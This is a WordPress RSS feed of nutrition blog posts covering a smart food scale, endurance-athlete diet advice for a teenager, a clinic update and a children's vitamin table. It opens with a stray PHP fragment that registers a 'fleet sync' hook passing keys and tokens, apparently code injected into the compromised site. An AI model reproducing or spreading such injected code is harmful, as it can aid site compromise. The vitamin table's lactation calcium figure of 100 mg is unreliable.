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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); nutrition – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 17 Dec 2014 18:37:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp nutrition – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 The #1 Must-Have Healthy Holiday Gift https://skinnygeneprojectnew.dreamsites.io/1-must-healthy-holiday-gift/ https://skinnygeneprojectnew.dreamsites.io/1-must-healthy-holiday-gift/#respond Wed, 17 Dec 2014 18:37:08 +0000 http://skinnygeneproject.dreamhosters.com/?p=2317 By Hayley Gurriell, Skinny Gene Intern

In search of a holiday gift that will have its recipient tearing the box open to try it out right away? No, it’s not the iPhone 6 plus, although it can be used in conjunction with one! This nifty gadget takes living a healthier lifestyle to a whole new level with its customized set-up and feedback, aesthetically pleasing visuals, easy portability, and unique features.  This item revolutionizes eating healthier, staying fit, and reaching personal goals. The best thing about this product is that you only need one to benefit your entire family! What is it? The Prep Pad by The Orange Chef Co. is essentially, a smart food scale that links to your apple device through Bluetooth using an app called Countertop. It identifies the nutritional density of a food item or meal according to its weight.

 

Photo by : WIlliams-Sonoma
Photo by : WIlliams-Sonoma

 

What does it do?

Objectively, the Prep Pad:

  • Provides you with a customized nutrition label for a specific food item or meal based on its weight
  • Displays a pie chart that is divided into carbs, proteins, fats and overall calories
  • Upon placing an item on the scale and identifying what it is using the smart search, it will tell you the nutritional information for the specific item (including micro-nutrients/vitamins)
  • Upon placing an entire meal on the scale, and identifying each item individually, it will tell you the nutritional balance of your meal in accordance to your personal health goals, height, age, weight, gender, and activity level
  • Tracks your food intake and saves it to the Countertop app so that you can review, and refer back to it for certain meals or recipes

Subjectively, the Prep Pad:

  • Makes you more self-aware and conscious of exactly what you’re putting into your body
  • Helps prevent overeating by teaching you proper portion sizes
  • Educates you to recognize how much a portion is by the size of an item (also a good way to teach kids how much an ounce is, etc.)
  • Helps raise and promote overall awareness of nutrition and what you’re eating
  • Makes you mindful of your eating habits
  • Will make an awesome holiday gift for someone special!

What else can it do?

 – It can save your meals or individual food items to your “favorites” for future reference and easy access to frequently eaten foods so you don’t have to re-enter or re-weigh it

-It can level out bowls and other containers for bigger items that won’t fit on top of the Prep Pad or for foods with messy consistencies such as sour cream so that they’re not accounted for in the weighing of a food item

– It provides you access to review your nutritional intake at any time (by meal, day, week, etc.)

– It has the option to divide meals into serving sizes by selecting the number of people who will be eating it

– It keeps track of your calorie intake and provides you with a “balance score” (out of 100, with 100 being completely balanced), based on your nutritional health goals along with your height, weight, age, gender, and activity level to help you create balanced meals and stay on track with your goals

– Has a barcode scanner for items that are not in the more than 300,000 item search library

-Has the ability to have multiple different items on it at once and still provide their individual nutrition info, as well as the overall nutrition info for the entire meal by providing the option to change the item as soon as there is a change in weight on the scale. For example, if I put a handful a blueberries on the scale, enter blueberries, and am presented with its weight and nutritional information, I could then put a handful of almonds on the scale and enter almonds, it will give me the nutritional information of the almonds according to the added weight (difference in weight before and after the almonds were added)

– Allows you to share recipes or meals on social media easily or through email/messaging

– Can be used in conjunction with the “Jawbone UP” activity trackers to sync your exercise and suggest meals and recipes for you to replenish your body after a workout based on your health goals

I downloaded the Countertop app on my iPhone and created an account using my email account (you can also use Facebook for convenience or if you plan to share a lot of stuff on social media). After creating my account it then asked me a few questions in three separate categories, and this is what it looked like: “About Me”

  1. What’s your name?
  2. What’s your height?
  3. Are you male or female?
  4. What is your birthdate?
  5. What is your current weight?
  6. What is your weight goal? (lose/gain/maintain)

In the next section, “Activity” it asks you to rate your activity level on a scale of 1 to 5, and here’s how they described the levels

  1. Sedentary- No purposeful(or intentional) exercise
  2. Light- Exercise equivalent to 4,000 steps a day
  3. Moderate- Moderate exercise 3-5 days a week (included activities like Yoga)
  4. Heavy- Moderate or more vigorous exercise most days of the week (sports)
  5. Exceptional- Intensive training (extreme athletes training for marathons, triathlons, etc.)

The last section titled “Calorie Goal” provides you with a daily calorie goal to follow recommended by USDA based on the information you provided in the previous two sections. It also provides you with the recommended balance pie chart from the USDA that states a balanced meal consists of 50% carbs, 30% fats, and 20% proteins. There is an option to customize your pie chart percentages as well. When I entered my information (Hayley, 5’3, Female, June 18th 1992 (22 years old), 130lbs, I want to maintain my weight. I do heavy activity), the USDA recommended my daily calorie intake to be 2,505 calories per day. Everyone’s recommended calorie intake is going to be different, depending on the personalized info they entered. Overall this product does a fantastic job promoting a healthier lifestyle. It’s educational, portable, and easy to use. Everyone has something to gain by having a Prep Pad, and it would be a perfect holiday gift for

  • Your health conscious friend
  • A person you know that is trying to become more health conscious
  • Someone you care about that YOU want to become more health conscious
  • Visual learners
  • Technology hoarders
  • Your calorie counting friend
  • Athletes
  • That one person you know that’s always on a diet
  • People with diet restrictions

The Prep Pad is a perfect holiday gift to give right before the start of the New Year when everyone is making strides towards living a healthier lifestyle. It truly is a gift that keeps on giving.

]]> https://skinnygeneprojectnew.dreamsites.io/1-must-healthy-holiday-gift/feed/ 0 Q&A: Nutrition Recommendations for Athletes https://skinnygeneprojectnew.dreamsites.io/qa-nutrition-recommendations-athletes/ https://skinnygeneprojectnew.dreamsites.io/qa-nutrition-recommendations-athletes/#respond Fri, 31 Aug 2012 02:09:02 +0000 http://skinnygeneproject.dreamhosters.com/?p=1681 We receive several comments and questions on our nutrition blog regarding working out. Despite their vigorous workouts, many athletes are finding it hard to boost their metabolism or maintain a healthy weight.   When these types of questions arise, we turn to our nutritionist and fitness guru, Cindy Marasigan, for some tips. Although her suggestions would vary based on the individual needs of each person, one recommendation is to start with a nutrition therapy for endurance athletes.

Since this seems to be such a common concern, we’d like to share our response to this frequently asked question. If you have any questions, please post them below or contact us privately.

Question:

I am only 16 years old and I am a very active person involving myself in sports such as swimming, running and bicycling, as well as my rifle team, I am also 5″4 in height, and I believe I weigh at least 130-136 the most, my main purpose right now is to lose 15, 16 lbs, but I’m mostly concerned with helping my metabolism increase, so that way I can be able to maintain a healthy diet at my age, and keep that healthy diet when I grow older. But I also want to know if this is the right place for me to start? Thank you.

 

Answer by: Cindy Marasigan– Skinny Gene dietetic intern, nutrition counselor, fitness instructor, and culinary chef

It sounds like you are very active with sports and you are also concerned about your health and nutrition. The best way to start in your case is nutrition therapy for endurance athletes. Since you do a lot of sports that are focused on endurance it is very important that you get the proper nutrition.

Why Was Nutrition Therapy Prescribed?

With endurance training, the main goal is to provide calories for daily activity and those expended through exercise in addition to replenishing glycogen (energy) stores and repairing lean muscle mass. Focusing on eating often as well as nutrition pre-exercise, during exercise, and post-exercise is key to training and performing at an optimal level and keep you metabolism functioning properly.

Meal Planning Tips:

  • Eat frequent meals and snacks throughout the day
  • Do not skip meals
  • Include a whole grain carbohydrate and a lean protein/healthy fat with all meals and snacks to increase satiety.
  • Include non-starchy vegetable and fruits with meals and snacks
  •  Carbohydrate intake should range from 5 g/kg to 7 g/kg for moderate-duration and low intensity training, 7 g/kg to 12 g/kg for moderate to heavy training, 10 g/kg to 12 g/kg for extreme training.
    • Choose whole, high-fiber grains as your carbohydrate meal choices (breads, bagels, tortillas, cereals, oatmeal, granola bars, crackers, pastas, rice, potatoes, etc.)
  • Protein intake should range from 1.2 g/kg to 1.7 g/kg
    • Choose lean proteins such as chicken or turkey without skin, lean cuts of red meat, fish, low-fat dairy, eggs, beans, tofu, edamame, or whey or soy protein powder
  • Fat intake should range from 0.8 g/kg to 1.0 g/kg
    • Increase intake of healthy fats (peanut butter, nuts, seeds, flaxseed, olive oil, salmon/tuna) and decrease intake of saturated fats (fried foods, baked/packaged goods, and white, thick, creamy sauces/spreads)
  • Hydration should be adequate so that urine color is pale yellow throughout the day
    • Rely on water throughout the day and water/sports drinks during exercise
  • Consume post-exercise snack as soon as possible (within 45 minutes) after training

 

Recommended Foods

Pre-Exercise Eating

  • Meal timing: 3-4 hours before exercise
  •  Meal composition: High in low-glycemic carbohydrate (200 g to 300 g) and lean protein, low in fiber and fat.
  • Meal hydration: Four hours before activity, consume 5 mL/kg to 7 mL/kg (2 mL/lb to 3mL/lb) or 17 oz to 20 oz water or sports drink
  • Snack timing: 30 minutes to 1 hour before exercise
  •  Snack composition: High in carbohydrate, moderate in protein, low in fat and fiber
  •  Snack hydration: 5 oz to 10 oz water or sports drink

During-Exercise Eating

  • Carbohydrate intake should begin shortly after the onset of activity
  • Timing: Consume 30 g to 60 g carbohydrate/hr spaced every 15-20 minutes
  • Composition: High-glycemic carbohydrate such as sports drinks/gels/blocks/beans, fruit, high-carbohydrate bars with moderate protein, crackers, etc.
  • Hydration: Dependent on sweat rate
    • Average: 5 oz to 10 oz water or sports drink every 15-20 minutes
    • Sports drinks should contain 6% to 8% carbohydrate
    •  Replace electrolytes lost via sports drink or foods high in sodium/potassium

Post-Exercise Eating

  • Snack timing: Within 30 minutes post-exercise
  • Snack composition: 4:1 ratio of high-glycemic carbohydrate to lean protein
    • Recommended amount: 1.0 g to 1.5 g carbohydrate/kg
  • Meal timing: 2 hours after exercise (Continue meals in 2-hour intervals up to 6 hours)
  • Meal composition: High in low- to moderate-glycemic carbohydrate and lean protein, low in fiber and fat
    • Recommended amount: 1.0 g to 1.5 g carbohydrate/kg
  • Hydration: 16 oz to 24 oz water or sports drink for every pound lost during exercise

 

Foods Not Recommended

Pre-Exercise

  • High-fat foods (high-fat meats, heavy sauces/creams, fried foods, buttery foods, desserts)
  •  High-fiber foods (cruciferous vegetables, whole grains extremely high in fiber, beans)
  • Carbonated beverages
  • Sugary beverages
  • Alcohol

During Exercise

  • Low-glycemic carbohydrates (high-fiber whole grains)
  •  High-fiber foods (cruciferous vegetables, whole grains extremely high in fiber, beans)
  • High-protein foods (meats, dairy, high-protein energy bars)
  • High-fat foods (high fat meats, heavy sauces/creams, fried foods, buttery foods, desserts, large quantities of nut butters, nuts, seeds)
  • Fluids containing more than 8% carbohydrate (juice, soda, sweet tea, energy drinks, etc.)
  • Alcohol

Post-Exercise

  • High-fiber foods (cruciferous vegetables, whole grains extremely high in fiber, beans)
  • High-fat foods (high-fat meats, heavy sauces/creams, fried foods, buttery foods, desserts, large quantities of nut butters, nuts, seeds)
  • Fluids containing more than 8% carbohydrate (juice, soda, sweet tea, energy drinks, etc.)
  • Alcohol

Sample 1-Day Menu

(2,500 calories, 60% carbohydrate, 20% protein, 20% fat)

Meal

Menu
Breakfast (500 calories) ¾ cup low-fat cottage cheese with 2 cups chopped fruit1 slice whole wheat toast with 1 Tbsp peanut butter and 1 Tbsphoney
Snack (250-300 calories) Sweet-n-Salty granola bar½ scoop whey protein powder in 8 oz 1% milk1 fruit
Lunch (500 calories) Sandwich on whole wheat bread w/ 1 slice 2% cheese, 3 oz meat, lettuce, tomato, 1 Tbsp light sauce15 whole wheat crackers or pretzels1 fat-free Greek yogurt1 small fruit
Pre-Workout Snack (300 calories) 1 serving reduced-fat crackers1 serving 2% string cheese1 light yogurt mixed with ¼ cup whole grain cereal
Post-Workout Snack (300 calories) 16 oz 1% chocolate milk
Dinner (500 calories) 1 cup pasta w/ marinara sauce and 3 oz chicken breast2 cups grilled vegetables1 wheat roll or 2″ x 2″ piece cornbread
Snack (150 calories) 1 fat-free vanilla puddingMix in 1 cup berries and 1 Tbsp nuts

 

*Important Points to Remember!

  • Puberty usually starts when you’re between 9 and 13 years old. But it can start earlier or later. Thanks to hormones like estrogen, you’ll notice changes like your breasts starting to grow and new curves forming on your body. You might notice that you start to get taller, and eventually you’ll get your period.
  • During puberty, your body will change and continue to grow — and sometimes the growth happens quickly. This is called a “growth spurt.” During this time you can grow as much as 4 inches in a year. Growth spurts usually start between ages 9 and 11. Most girls reach their full adult height by 18. But just like everything else in puberty, you might grow faster or slower than this. Your nutrition needs will change as you get older.

Growing and Gaining Weight

  • Most girls experience growth spurts early in puberty, while most boys have them later in puberty. That’s why many girls are taller than boys in middle school.
  • Increased body fat is also a normal part of puberty. “You may go from 8% to 21% body fat,” says Kathy McCoy, MD, a psychiatrist who co-wrote The Teenage Body Book and who was a columnist for Seventeen magazine.
  • Don’t go on a diet to try to lose this weight. “It’s not bad fat,” says Melisa Holmes, MD, who co-wrote the Girlology book series. “Women just have to have a certain amount of body fat for reproduction and the health of our menstrual cycles.”
  • So don’t make losing weight your main focus. Just try to maintain a healthy lifestyle, follow the guidelines for nutrition for endurance athletes, and keep a positive attitude on self-image.

 

Hope this helps! Best of luck on your journey to a healthier you!

 

 

 

 

 

 

 

 

 

References:

  1. Charney P, Malone A, eds. ADA Pocket Guide to Nutrition Assessment., 2nd Ed Chicago, IL: American Dietetic Association, 2009. ISBN: 978-0-88091-421-5
  2. Academy of Nutrition and Dietetics. Nutrition Care Manual. Sports Nutrition. Available at: http://www.nutritioncaremanual.org/topic.cfm?ncm_heading=Nutrition%20Care&ncm_toc_id=8580. Accessed May 14, 2012.

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/qa-nutrition-recommendations-athletes/feed/ 0 My Quest to Find a New Relationship (via Odds Against Me) https://skinnygeneprojectnew.dreamsites.io/my-quest-to-find-a-new-relationship-via-odds-against-me/ https://skinnygeneprojectnew.dreamsites.io/my-quest-to-find-a-new-relationship-via-odds-against-me/#respond Mon, 14 Jun 2010 16:52:04 +0000 http://skinnygene.wordpress.com/?p=399 Here is a post we thought you would like! 

Odds Against Me is for real.  She’s honest, hilarious, and super serious about improving her health.  I think it is safe to say that we can all relate to the ups and downs that come with each and every attempt of weight loss.   Dee has started her journey to better health and is letting us follow her down this cross-country trip.   I think we will get to accompany her through the absolute highs of weight loss, I am thinking possibly equivalent to Disneyland and the inevitable lows, which I am sad to say is probably somewhere in the middle of Kansas.    I admire Dee for putting this experience out there for us to read.  And hopefully we can join her in this journey to better health.

It’s not what you think…I am not highlighting this blog because Dee has chosen yours truly to help guide her through the overwhelming world of weight loss, but because we are bombarded with nutrition misinformation and sabotage on a daily basis.  Maybe we can all come together to provide support for each other and walk side by side on this winding road….to Disneyland!

 Enjoy this blog! 

my quest to find a new relationship So, as I mentioned before, the plan was to start working with a dietitian.  Now, it is official…I have started a program that will teach me how my body uses food as well as gives me a solid understanding of how to make healthier choices.  As you know, my mission is to lose weight, but this time I’m looking for a real lifestyle change with long-term implications. I’ve failed many times before with gimmicks, pills, and offers like “read this book … Read More

via Odds Against Me

]]> https://skinnygeneprojectnew.dreamsites.io/my-quest-to-find-a-new-relationship-via-odds-against-me/feed/ 0 Your Body’s Talking, Are You Listening? https://skinnygeneprojectnew.dreamsites.io/your-bodys-talking-are-you-listening/ https://skinnygeneprojectnew.dreamsites.io/your-bodys-talking-are-you-listening/#respond Tue, 08 Jun 2010 04:12:52 +0000 http://skinnygene.wordpress.com/?p=419 Update (6/07): What’s happening with our Skinny Gene Diabetes Prevention Program in San Antonio

EVERYONE IS DIFFERENT AND SPECIAL IN THEIR OWN WAY

At the Skinny Gene Project, we provide a personalized approach to helping others live a healthier lifestyle. Each person in our program is special to us. We pride ourselves in getting to know each person (from stay at home moms to successful businesswomen), understanding their needs, and giving them the individualized attention needed to live a healthier life.

Our personalized approach to positive lifestyle change is particularly important when it comes to the wonderful group of people we’re serving in San Antonio.

Here’s a glimpse into the work we are doing in Texas.  

Every two weeks, I meet up with my patients for about an hour to talk to them about how to make little changes in their diet that can really make a BIG difference. This particular time, I began to teach each person how to listen and understand their body’s needs.

LESSON 1: LISTEN TO YOUR BODY

Previously, I had given each patient a task of completing a 7-day food log, to see what, when, where, and how much food they ate on a daily basis. I then compared their food diary to what their body REALLY needed. We generally refer to process as a nutrition analysis.

Now… knowing what a person needs to change, and explaining it to them are two completely different things. Some my next step was to give each person a personalized presentation on “Understanding And Listening To Your Body.”

As the presentation began, I started explaining different metaphors on how the body works. For example, comparing our bodies to a car. Much like how a car requires fuel to run, our bodies need food to function. Our body sends us signals when its fuel source is running too low or too full. We also talked about the body’s “fuel gauge”. So when our body is hungry, or may be close to (E) empty, we begin to experience symptoms such as dizziness, headaches, or grouchiness.  When the body can no longer take any food, just like when cars have reached (F) full, we may begin to feel symptoms such as being bloated, gassy, or tired. These metaphors make it easier to understand how the body works when compared to everyday life.

What we need to learn TODAY to have a healthier TOMMORROW  

After discussing how our metabolism works, I  began showing each person (individually) their total nutrition needs (calories, fat, sodium, carbohydrates, etc). Every patient was in SHOCK when they realized that what they had been eating was so harmful to their body, in comparison to what their body truly needs!  They were surprised about what they had learned, but they were also pumped up and knew they wanted to make some serious CHANGES in their lives.

APPLICATION: EATING BREAKFAST

After the presentation, each patient was weighed. They were given a diet that contained their specific caloric intake needs and their weight loss goal! Their main objective for the week was to concentrate on eating BREAKFAST— I taught them that it is the MOST important meal of the day!  I showed them examples of healthy breakfast options, whether they had time to cook or were on the go.  I also had the opportunity to go through a shopping list, which ranked foods from levels 1- 4; level 1 being foods you could eat several times a day, and level 4 foods you should eat very infrequently and with extreme caution.

Each patient was asked to bring any additional nutritional labels that they would like to be included in their special Skinny Gene grocery list for the next appointment. I really stressed the importance of drinking more water and trying to make exercise a daily habit. They left the clinic motivated and excited to start using the information that we provided to them.

Each of them wants to become a new person; they want to look good and feel good, on the inside and out. To make this transformation, they’re ready to start living a better and healthier life!  

By doing this I am helping them have a better understanding on what they need to do TODAY to have a healthier TOMMORROW.  

I am really excited to see my patients next week!

Stay tuned for more updates….

By: Nancy Juarez-Skinny Gene Bilingual Nutritionist

See more post about our program in San Antonio:

Great Things Happening For Skinny Gene in TX

Meet Nancy Juarez

]]> https://skinnygeneprojectnew.dreamsites.io/your-bodys-talking-are-you-listening/feed/ 0 Kids in the Kitchen https://skinnygeneprojectnew.dreamsites.io/kids-in-the-kitchen/ https://skinnygeneprojectnew.dreamsites.io/kids-in-the-kitchen/#respond Sat, 20 Mar 2010 17:53:23 +0000 http://skinnygene.wordpress.com/?p=229 We love participating in the annual Junior League Kids in the Kitchen Event!

Kids in the Kitchen is an annual event designed to address the urgent issues surrounding childhood obesity and poor nutrition by getting children and their parents excited about leading a healthy lifestyle through interactive, hands-on activities.

It was such a joy to teach the importance of vitamins to more than 1,500 attendees this year. We are always so impressed by the parent’s desire to create a healthy home for their families, and the kids’ willingness to learn a fact or two.

It doesn’t hurt, of course, that each child is given a “bingo card” that requires a stamp from our Vitamin Central booth to win prizes.

While we try to unload as much fun vitamin knowledge as we can, at times we’d notice adorable little eyes fixated on the stamp tucked in our hands– waiting anxiously for us to reward them for finding our booth.

Most of the time, the kids are like sponges, taking in whatever they can. We are frequently shocked by how knowledgeable they are about nutrition, and their love for fruits and vegetables.

Last year, one little boy even asked Kim (our Skinny Gene RN) if Vitamin K, referred to as the “Clotmaster”, had anything to do with platelets. Wow!

This year’s best response came from a sweet little girl. When Kim asked her “Where are your bones?” She confidently replied, “At home.” Turns out she has a couple of dogs.

Kids in the kitchen is fun and rewarding, in so many ways. Our hope is that the kids will leave realizing that yes, food should taste good; but it also has a purpose. Eating colorful, vitamin rich foods is important- whether they want to be strong like Popeye, have good vision like Superman, or just wanna live life and play in the sun.

ASK AND YOU SHALL RECEIVE

One of the most common questions we heard was, “How much Vitamin__ should my kid be getting?” We promised to give you the actual breakdown, so here it is, and a quick reminder as to why your kids need these vitamins.

“How Come?”

Vitamins play an important role in the health and development of our children. Adding vitamin-rich foods into our children’s diet is an easy way to help our children live a long and healthy life.

Our booth focused on a  few of the benefits of eating foods rich in A, C, D (and calcium), E, and K.

Vitamin A: Improves your eyesight and helps your body to fight germs

Vitamin C: Forms collagen, which maintains healthy tissues (muscles and gums). This vitamin also helps to boost your immune system.

Vitamin D: Helps your body to absorb calcium, which grows strong bones.

Vitamin E: Protects your skin from harmful UV rays. This vitamin is also a powerful antioxidant that protects your body from disease.

Vitamin K: Allows your blood to clot, which stops cuts from bleeding. It also helps to bind calcium to the bone.

“How Much?”

 

Age Vitamin A Vitamin C Vitamin D Vitamin E Vitamin K Calcium
  mcg/day mg/day mcg/day mg/day mcg/day mg/day
Infants            
0-6 months 400 40 5 4 2 210
7-12 months 500 50 5 5 2.5 270
             
Children            
1-3 years 300 15 5 6 30 500
4-8 years 400 25 5 7 55 800
             
Males            
9-13 years 600 45 5 11 60 1300
14-18 years 900 75 5 15 75 1300
19-30 years 900 90 5 15 120 1000
31-50 years 900 90 5 15 120 1000
51-70 years 900 90 10 15 120 1200
>70 years 900 90 15 15 120 1200
             
Females            
9-13 years 600 45 5 11 60 1300
14-18 years 700 65 5 15 75 1300
19-30 years 700 75 5 15 90 1000
31-50 years 700 75 5 15 90 1000
51-70 years 700 75 10 15 90 1200
>70 years 700 75 15 15 90 1200
             
Pregnancy            
<18 years 750 80 5 15 75 1300
19-30 years 770 85 5 15 90 1000
31-50 years 770 85 5 15 90 1000
             
Lactation            
<18 years 1200 115 5 19 75 1300
19-30 years 1300 120 5 19 90 1000
31-50 years 1300 120 5 19 90 100
 
Creating a healthy home is hard work and you have to stay on top of your game.  As we learned from our friends at the Kids In The Kitchen event, our kids are actually interested in this information, which is a great start to a healthy life!  We were glad to be a part of this learning experience.  

If you have additional questions, please contact us at healthyhome@jmossfoundation.org or register for our FREE webinar: How to Balance Your Family’s Different Nutritional Needs. www.bit.ly/diffnutrition

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